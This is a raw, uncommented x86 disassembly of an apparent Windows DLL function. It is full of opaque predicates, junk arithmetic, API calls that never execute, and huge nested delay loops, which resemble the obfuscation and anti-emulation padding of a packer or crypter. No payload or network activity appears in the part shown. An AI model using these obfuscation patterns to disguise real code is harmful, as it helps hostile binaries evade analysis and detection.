jmp 0x10010cb9
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 3
jge 0x10010cd5
mov eax, dword [ebp - 0x1d0]
mov dword [ebp + eax*4 - 0xeb0], 0xc11e043
jmp 0x10010cac
mov eax, 0xfffb
test eax, eax
je 0x10010cf7
mov eax, dword [ebp - 0x54]
cmp dword [ebp + eax*4 - 0x394], 0
je 0x10010cf7
mov dword [ebp - 0x4f0], 1
jmp 0x10010cfe
and dword [ebp - 0x4f0], 0
cmp dword [ebp - 0x4f0], 0
ja 0x10010d13
mov dword [ebp - 0x8fc], 1
jmp 0x10010d1a
and dword [ebp - 0x8fc], 0
imul eax, dword [ebp - 0x54], 0xb051
test eax, eax
jne 0x10010d30
mov eax, dword [ebp - 0x54]
cmp dword [ebp + eax*4 - 0x394], 0
or eax, 0xffffffff
jb 0x10010d41
mov dword [ebp - 0x718], 1
jmp 0x10010d48
and dword [ebp - 0x718], 0
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0
je 0x10010d72
cmp dword [ebp - 0x3d0], 0
je 0x10010d72
mov dword [ebp - 0x4f8], 1
jmp 0x10010d79
and dword [ebp - 0x4f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x394]
cmp dword [ebp - 0x4f8], eax
jne 0x10010d9a
mov dword [ebp - 0xbf8], 1
jmp 0x10010da1
and dword [ebp - 0xbf8], 0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x394]
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ebp + ecx*4 - 0x394]
sub ecx, dword [ebp + eax*4 - 0x394]
mov dword [ebp - 0x3a4], ecx
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0x8fc], eax
jl 0x10010deb
cmp dword [ebp - 0x3a4], 0
jne 0x10010deb
and dword [ebp - 0x500], 0
jmp 0x10010df5
mov dword [ebp - 0x500], 1
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x394]
sub eax, dword [ebp - 0x500]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xeb0], eax
jmp 0x10010c85
mov byte [ebp - 0xfe], 0
movzx eax, byte [ebp - 0xfe]
test eax, eax
je 0x10010e33
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x174]
and eax, 0x73
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x174]
or ecx, 0x73
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x174]
mov word [ebp + eax*2 - 0xc88], cx
mov dword [ebp - 0x20], 2
and dword [ebp - 0x158], 0
jmp 0x10010e85
mov eax, dword [ebp - 0x20]
inc eax
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1b
jae 0x10011c43
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x174]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x10011364
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x174]
inc eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x340], 1
mov dword [ebp - 0xe2c], 0xb4ebb0cb
mov dword [ebp - 0xd94], 0xa233712
mov dword [ebp - 0xe0c], 0xd2c87a75
mov dword [ebp - 0xa8], 0
jmp 0x10010efd
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x10010f19
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xfc8], 0x3b4e1a36
jmp 0x10010ef0
mov dword [ebp - 0xa8], 0
jmp 0x10010f32
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 4
jge 0x10010f4e
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0xe5c], 0xfffffff9
jmp 0x10010f25
mov dword [ebp - 0x340], 0
jmp 0x10010f67
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 2
jg 0x10010fcc
mov dword [ebp - 0xd9c], 0
mov dword [ebp - 0xdc8], 5
mov dword [ebp - 0xc90], 0xffffffff
mov dword [ebp - 0xc94], 0xec79e672
mov dword [ebp - 0x720], 0xfffffffc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe5c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe5c], eax
mov eax, dword [ebp - 0x720]
inc eax
mov dword [ebp - 0x720], eax
jmp 0x10010f5a
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x174]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc0], 0xa48bbca6
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x3c8], 1
mov dword [ebp - 0x538], 0x699ff93f
mov dword [ebp - 0xb5c], 2
mov dword [ebp - 0xc0], 0xfffffff7
jmp 0x1001102c
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jg 0x10011347
mov dword [ebp - 0x1d8], 0xffffffff
mov dword [ebp - 0x36c], 0xc653ddb2
mov dword [ebp - 0xa4], 0
jmp 0x10011066
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x10011082
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xdb0], 0x32f3f608
jmp 0x10011059
mov dword [ebp - 0xa4], 0
jmp 0x1001109b
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x100110b7
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x918], 0xff839e07
jmp 0x1001108e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x918], 0
je 0x10011164
cmp dword [ebp - 0xc0], 0
je 0x10011114
cmp dword [ebp - 0x130], 0x55cda
jg 0x100110ec
mov dword [ebp - 0x508], 1
jmp 0x100110f3
and dword [ebp - 0x508], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x918]
cmp dword [ebp - 0x508], eax
jg 0x10011114
mov dword [ebp - 0x830], 1
jmp 0x1001111b
and dword [ebp - 0x830], 0
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp - 0x830], 0xffffffff
cmp ecx, dword [ebp + eax - 0x918]
jle 0x1001113d
mov dword [ebp - 0x510], 1
jmp 0x10011144
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x510]
sub eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x130], eax
jl 0x10011164
mov dword [ebp - 0x728], 1
jmp 0x1001116b
and dword [ebp - 0x728], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xdb0]
dec eax
mov dword [ebp - 0x518], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x518]
mov dword [ebp + eax - 0xdb0], ecx
mov eax, dword [ebp - 0x728]
neg eax
add eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0xc0]
jg 0x100111c2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x918], 0
je 0x100111c2
mov dword [ebp - 0x8b8], 1
jmp 0x100111c9
and dword [ebp - 0x8b8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8b8]
imul ecx, dword [ebp + eax - 0x918]
mov dword [ebp - 0x520], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x520]
mov dword [ebp + eax - 0x918], ecx
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x520], eax
jl 0x1001121c
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x918], 0
jne 0x1001121c
and dword [ebp - 0x730], 0
jmp 0x10011226
mov dword [ebp - 0x730], 1
mov eax, dword [ebp - 0x730]
sub eax, dword [ebp - 0xc0]
cmp eax, 0xffffffff
jne 0x10011243
mov dword [ebp - 0x528], 1
jmp 0x1001124a
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
sub eax, dword [ebp - 0x1d8]
je 0x10011273
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x918], 0
je 0x10011273
mov dword [ebp - 0x838], 1
jmp 0x1001127a
and dword [ebp - 0x838], 0
cmp dword [ebp - 0x838], 1
je 0x10011298
mov eax, 0xb839
test eax, eax
je 0x10011298
mov dword [ebp - 0x530], 1
jmp 0x1001129f
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x92764969
jne 0x100112cf
mov dword [ebp - 0x738], 1
jmp 0x100112d6
and dword [ebp - 0x738], 0
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0x36c]
jne 0x10011308
mov dword [ebp - 0x92c], 1
jmp 0x1001130f
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x36c]
add eax, dword [ebp - 0x92c]
mov dword [ebp - 0x36c], eax
mov byte [ebp - 0xdd], 0
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x10011342
push 0x99c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
jmp 0x1001101f
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xb5c], eax
jmp 0x10010e7d
mov dword [ebp - 0xb4], 0xfffffffe
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x558], 0xebb6f2ba
mov dword [ebp - 0x2c], 0
jmp 0x10011392
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x100113a8
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x96c], 0x43c6
jmp 0x1001138b
mov dword [ebp - 0x2c], 0
jmp 0x100113b8
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100113ce
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3a0], 0
jmp 0x100113b1
mov dword [ebp - 0x2c], 0
jmp 0x100113de
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x100113f4
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xefc], 1
jmp 0x100113d7
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x96c], 1
jl 0x10011461
mov dword [ebp - 0xb4], 0xfffffff0
jmp 0x1001141c
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0xa
jge 0x1001145f
mov dword [ebp - 0x988], 5
mov dword [ebp - 0xb0], 0
jmp 0x10011448
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x17
je 0x1001145d
mov dword [ebp - 0x988], 0
jmp 0x1001143b
jmp 0x1001140f
jmp 0x100114a7
mov byte [ebp - 0x100], 0
movzx eax, byte [ebp - 0x100]
test eax, eax
je 0x100114a7
push 0
push 0x1a8a
push 0x524
push 0x789
push 0x1fc6
push 0x903
push 0x42b
push 0x24b4
push 0x635
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xc9c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x96c]
add eax, 6
je 0x100114da
cmp dword [ebp - 0xb4], 0
je 0x100114da
mov dword [ebp - 0x540], 1
jmp 0x100114e1
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x540], eax
jne 0x100114fb
mov dword [ebp - 0x740], 1
jmp 0x10011502
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0xf54a
jne 0x1001151a
mov dword [ebp - 0x548], 1
jmp 0x10011521
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x548], 0
ja 0x10011536
mov dword [ebp - 0x840], 1
jmp 0x1001153d
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x840]
sub eax, dword [ebp - 0xb4]
jne 0x10011564
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3a0], 0
jne 0x10011564
and dword [ebp - 0x550], 0
jmp 0x1001156e
mov dword [ebp - 0x550], 1
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x96c]
add ecx, dword [ebp - 0x550]
add ecx, dword [ebp + eax - 0x96c]
cmp ecx, 0xf32a
jle 0x100115a1
mov dword [ebp - 0x748], 1
jmp 0x100115a8
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x748]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
mov dword [ebp - 0xca4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3a0], 0
jne 0x100115e8
mov dword [ebp - 0x8c0], 1
jmp 0x100115ef
and dword [ebp - 0x8c0], 0
mov eax, dword [ebp - 0xb4]
cmp dword [ebp - 0x8c0], eax
je 0x10011609
mov dword [ebp - 0x560], 1
jmp 0x10011610
and dword [ebp - 0x560], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x96c]
add eax, 0xd6c5
cmp eax, dword [ebp - 0x560]
jne 0x10011646
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x96c], 0
je 0x10011646
mov dword [ebp - 0xa3c], 1
jmp 0x1001164d
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xcac], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3a0]
mov dword [ebp - 0xcb4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3a0]
imul ecx, dword [ebp + eax - 0x3a0]
test ecx, ecx
jne 0x10011699
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x3a0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3a0]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0xefc], eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x158]
movzx eax, byte [ebp + eax - 0x176]
movzx eax, word [ebp + eax*2 - 0xc88]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x173]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x158]
movzx eax, byte [ebp + eax - 0x176]
movzx eax, word [ebp + eax*2 - 0xc88]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x173]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x158]
movzx eax, byte [ebp + eax - 0x176]
movzx eax, word [ebp + eax*2 - 0xc88]
mov esi, dword [ebp - 0x20]
movzx esi, byte [ebp + esi - 0x173]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x174]
mov word [ebp + eax*2 - 0xc88], si
mov dword [ebp - 0x93c], 0x3eca4f83
mov dword [ebp - 0x938], 0x3eca4f83
mov dword [ebp - 0x934], 0x3eca4f83
mov dword [ebp - 0x930], 0x3eca4f83
mov dword [ebp - 0xc3c], 0xe60f951f
mov dword [ebp - 0xc38], 0xe60f951f
mov dword [ebp - 0xc34], 0xe60f951f
mov dword [ebp - 0xc30], 0xe60f951f
mov dword [ebp - 0x374], 0
mov dword [ebp - 0x1e8], 0xffffffff
mov dword [ebp - 0x1e0], 0xffff
mov dword [ebp - 0x198], 5
mov dword [ebp - 0xbc], 0xfffffffc
mov dword [ebp - 0x760], 0x309757a8
mov dword [ebp - 0x2d4], 0
jmp 0x100117e1
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 2
jge 0x100117fd
mov eax, dword [ebp - 0x2d4]
mov dword [ebp + eax*4 - 0xcfc], 0xfffffffb
jmp 0x100117d4
mov eax, dword [ebp - 0x374]
dec eax
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x93c]
mov dword [ebp - 0xcbc], eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0xcc4], eax
mov dword [ebp - 0x198], 0x6fd0fe1f
mov eax, dword [ebp - 0x198]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xcfc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xccc], eax
cmp dword [ebp - 0x1e0], 0x3f0a
jle 0x10011877
mov dword [ebp - 0x750], 1
jmp 0x1001187e
and dword [ebp - 0x750], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x93c]
cmp dword [ebp - 0x750], eax
jle 0x1001189f
mov dword [ebp - 0x568], 1
jmp 0x100118a6
and dword [ebp - 0x568], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x93c]
cmp dword [ebp - 0x568], eax
je 0x100118c7
mov dword [ebp - 0x848], 1
jmp 0x100118ce
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x760]
cmp dword [ebp - 0x848], eax
je 0x100118e8
mov dword [ebp - 0x570], 1
jmp 0x100118ef
and dword [ebp - 0x570], 0
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0xc3c], 0
xor eax, eax
sub eax, dword [ebp - 0x570]
cmp eax, dword [ebp - 0xbc]
je 0x1001191c
mov dword [ebp - 0x758], 1
jmp 0x10011923
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x758], eax
jl 0x1001194d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x93c], 0
je 0x1001194d
mov dword [ebp - 0x578], 1
jmp 0x10011954
and dword [ebp - 0x578], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0x578], eax
jl 0x1001196e
mov dword [ebp - 0x904], 1
jmp 0x10011975
and dword [ebp - 0x904], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x93c]
add eax, dword [ebp - 0x904]
cmp eax, 0xe0cd
jne 0x1001199b
mov dword [ebp - 0x580], 1
jmp 0x100119a2
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0xbc]
add eax, dword [ebp - 0x580]
sub eax, dword [ebp - 0x760]
cmp eax, 0xffff
jbe 0x100119d0
cmp dword [ebp - 0x1e8], 0
je 0x100119d0
mov dword [ebp - 0x588], 1
jmp 0x100119d7
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
neg eax
jne 0x100119fa
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xc3c], 0
jne 0x100119fa
and dword [ebp - 0x850], 0
jmp 0x10011a04
mov dword [ebp - 0x850], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x93c]
imul eax, dword [ebp - 0x850]
sub eax, 3
cmp eax, dword [ebp - 0x1e8]
jne 0x10011a33
xor eax, eax
je 0x10011a33
mov dword [ebp - 0x590], 1
jmp 0x10011a3a
and dword [ebp - 0x590], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x93c]
cmp eax, dword [ebp - 0x590]
jge 0x10011c02
mov dword [ebp - 0x31c], 2
mov dword [ebp - 0xcd4], 9
mov dword [ebp - 0x990], 0xfffffff9
mov dword [ebp - 0xb74], 0x824ffad6
mov dword [ebp - 0x2dc], 0x1158e584
mov dword [ebp - 0x354], 0
jmp 0x10011a9d
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 3
jge 0x10011ab9
mov eax, dword [ebp - 0x354]
mov dword [ebp + eax*4 - 0xe98], 0xcdd50170
jmp 0x10011a90
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x10011add
push 0xaf1
push 0x1260
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
mov eax, dword [ebp - 0x31c]
neg eax
cmp dword [ebp - 0x31c], eax
je 0x10011af9
mov dword [ebp - 0x5a8], 1
jmp 0x10011b00
and dword [ebp - 0x5a8], 0
cmp dword [ebp - 0x31c], 0
je 0x10011bbe
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
je 0x10011b76
cmp dword [ebp - 0xb74], 0x146a1
jg 0x10011b34
mov dword [ebp - 0x768], 1
jmp 0x10011b3b
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x768], eax
jle 0x10011b55
mov dword [ebp - 0x598], 1
jmp 0x10011b5c
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x598]
sub eax, dword [ebp - 0x2dc]
je 0x10011b76
mov dword [ebp - 0x8c8], 1
jmp 0x10011b7d
and dword [ebp - 0x8c8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xe98]
cmp dword [ebp - 0x8c8], eax
jl 0x10011b9d
mov dword [ebp - 0x5a0], 1
jmp 0x10011ba4
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x5a0], eax
jle 0x10011bbe
mov dword [ebp - 0x770], 1
jmp 0x10011bc5
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x198]
add eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x31c]
add ecx, dword [ebp - 0x5a8]
cmp ecx, eax
jge 0x10011bed
mov dword [ebp - 0x858], 1
jmp 0x10011bf4
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0x990], eax
jmp 0x10011c37
mov dword [ebp - 0xbc], 0
jmp 0x10011c1b
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 4
jge 0x10011c37
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x93c], 0x83ffb38
jmp 0x10011c0e
and dword [ebp - 0x158], 0
jmp 0x10010e7d
mov dword [ebp - 0x38], 9
mov dword [ebp - 0x33c], 0xffffffff
mov dword [ebp - 0x5d8], 1
mov dword [ebp - 0x3b0], 0xfffffff6
mov dword [ebp - 0x790], 0xffffffff
mov dword [ebp - 0x9a0], 1
mov dword [ebp - 0x5e8], 0x7e91c178
mov dword [ebp - 0xcdc], 0x9069
mov dword [ebp - 0xce4], 0xfffffff9
mov dword [ebp - 0x5b0], 0x4a2
mov dword [ebp - 0x998], str.zmatesvje_ljixh_kmfqiogbz_crgpe_eoyy_dymyyfyd_zniunotbc_ssh_iyhvlka_rhz_tzbwnvcby_omnyc_sijwnmw_hmrcxve
cmp dword [ebp - 0x5b0], 0x799
jle 0x10011dbf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
and dword [ebp - 0x200], 0
jmp 0x10011ce1
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x586e
jge 0x10011da3
and dword [ebp - 0x1f8], 0
jmp 0x10011d07
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x2f45
jge 0x10011d9e
and dword [ebp - 0x2e4], 0
jmp 0x10011d2d
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x6d69
jge 0x10011d99
mov ecx, dword [ebp - 0x1f8]
imul ecx, dword [ebp - 0x2e4]
mov eax, dword [ebp - 0x200]
sar eax, cl
cdq
mov dword [ebp - 0xaa8], eax
mov dword [ebp - 0xaa4], edx
push dword [ebp - 0xaa4]
push dword [ebp - 0xaa8]
lea ecx, [ebp - 0xff8]
call fcn.10001a21
pop ecx
pop ecx
mov dword [ebp - 0xab8], eax
mov ecx, dword [ebp - 0xab8]
call fcn.10001ac9
push eax
call fcn.10041a06
pop ecx
lea ecx, [ebp - 0xff8]
call fcn.10001abf
jmp 0x10011d20
jmp 0x10011cfa
jmp 0x10011cd4
push 0xece
push 0x1829
push 0x1988
push 0x1d16
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 4], 4
cmp dword [ebp - 0x5b0], 0x449
jge 0x10011dde
push dword [ebp - 0x998]
call fcn.10041a06
pop ecx
jmp 0x10011dfa
or dword [ebp - 4], 0xffffffff
jmp 0x10011e04
mov dword [ebp - 0x8c], 0
jmp 0x10011e1d
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jge 0x10011e36
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x68], 0x47dfa860
jmp 0x10011e10
mov dword [ebp - 0x8c], 0
jmp 0x10011e4f
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x10011e6b
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xd08], 1
jmp 0x10011e42
mov dword [ebp - 0x38], 0
jmp 0x10011e7b
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jg 0x1001201c
mov eax, dword [ebp - 0x38]
cmp dword [ebp + eax*4 - 0x68], 0x17e2f9d4
jge 0x10011e9e
mov dword [ebp - 0x778], 1
jmp 0x10011ea5
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x68]
sub eax, dword [ebp - 0x778]
cmp eax, dword [ebp - 0x33c]
je 0x10011ec6
mov dword [ebp - 0x780], 1
jmp 0x10011ecd
and dword [ebp - 0x780], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
cmp eax, dword [ebp - 0x33c]
je 0x10011eeb
mov dword [ebp - 0x5b8], 1
jmp 0x10011ef2
and dword [ebp - 0x5b8], 0
cmp dword [ebp - 0x5b8], 0xd66c
jl 0x10011f0a
mov dword [ebp - 0x924], 1
jmp 0x10011f11
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x38]
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x924]
sub edx, dword [ebp + ecx - 0x68]
cmp edx, dword [ebp + eax*4 - 0x68]
jge 0x10011f36
mov dword [ebp - 0x5c0], 1
jmp 0x10011f3d
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x68]
cmp dword [ebp - 0x5c0], eax
jl 0x10011f58
mov dword [ebp - 0x5c8], 1
jmp 0x10011f5f
and dword [ebp - 0x5c8], 0
mov eax, dword [ebp - 0x780]
sub eax, dword [ebp - 0x5c8]
jne 0x10011f7f
cmp dword [ebp - 0x33c], 0
jne 0x10011f7f
and dword [ebp - 0x860], 0
jmp 0x10011f89
mov dword [ebp - 0x860], 1
cmp dword [ebp - 0x860], 0xfffe
jne 0x10011fa1
mov dword [ebp - 0x5d0], 1
jmp 0x10011fa8
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x5d0]
sub edx, dword [ebp + ecx*4 - 0x68]
cmp edx, dword [ebp + eax*4 - 0x68]
jge 0x10011fca
mov dword [ebp - 0xbc4], 1
jmp 0x10011fd1
and dword [ebp - 0xbc4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x68]
mov dword [ebp - 0xd70], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x68]
sub eax, 0x24251b07
je 0x10012004
cmp dword [ebp - 0x5d8], 0
je 0x10012004
mov dword [ebp - 0x788], 1
jmp 0x1001200b
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x3b0], eax
jmp 0x10011e74
cmp dword [ebp - 0x38], 0
je 0x100120b2
push 4
pop eax
shl eax, 0
xor ecx, ecx
inc ecx
sub ecx, dword [ebp + eax - 0xd08]
cmp ecx, 0xfffffff6
jg 0x1001204c
xor eax, eax
inc eax
je 0x1001204c
mov dword [ebp - 0x8d0], 1
jmp 0x10012053
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x5d8]
cmp dword [ebp - 0x8d0], eax
jne 0x1001206d
mov dword [ebp - 0x5e0], 1
jmp 0x10012074
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x3b0], eax
